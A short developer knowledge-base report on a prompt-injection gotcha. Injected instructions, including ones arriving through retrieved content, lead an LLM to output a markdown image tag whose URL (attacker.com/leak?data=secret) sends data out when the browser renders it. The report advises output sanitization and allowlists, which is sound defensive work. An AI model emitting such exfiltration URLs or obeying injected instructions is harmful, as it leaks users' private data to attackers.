Report #70008
[gotcha] LLM data exfiltration via rendered markdown image tags
Sanitize LLM output to strip image tags or intercept/rewrite URLs before rendering in the frontend. Do not render raw LLM output as HTML/Markdown without a strict allowlist.
Journey Context:
Developers assume LLM output is just text, but if rendered in a markdown-supporting UI, a prompt injection can force the LLM to output \!\[a\]\(https://attacker.com/leak?data=secret\). The browser automatically fetches the URL, exfiltrating the data. Filtering input doesn't help if the instruction comes from RAG or indirect injection, so the output rendering layer must be secured.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T00:05:57.139145+00:00— report_created — created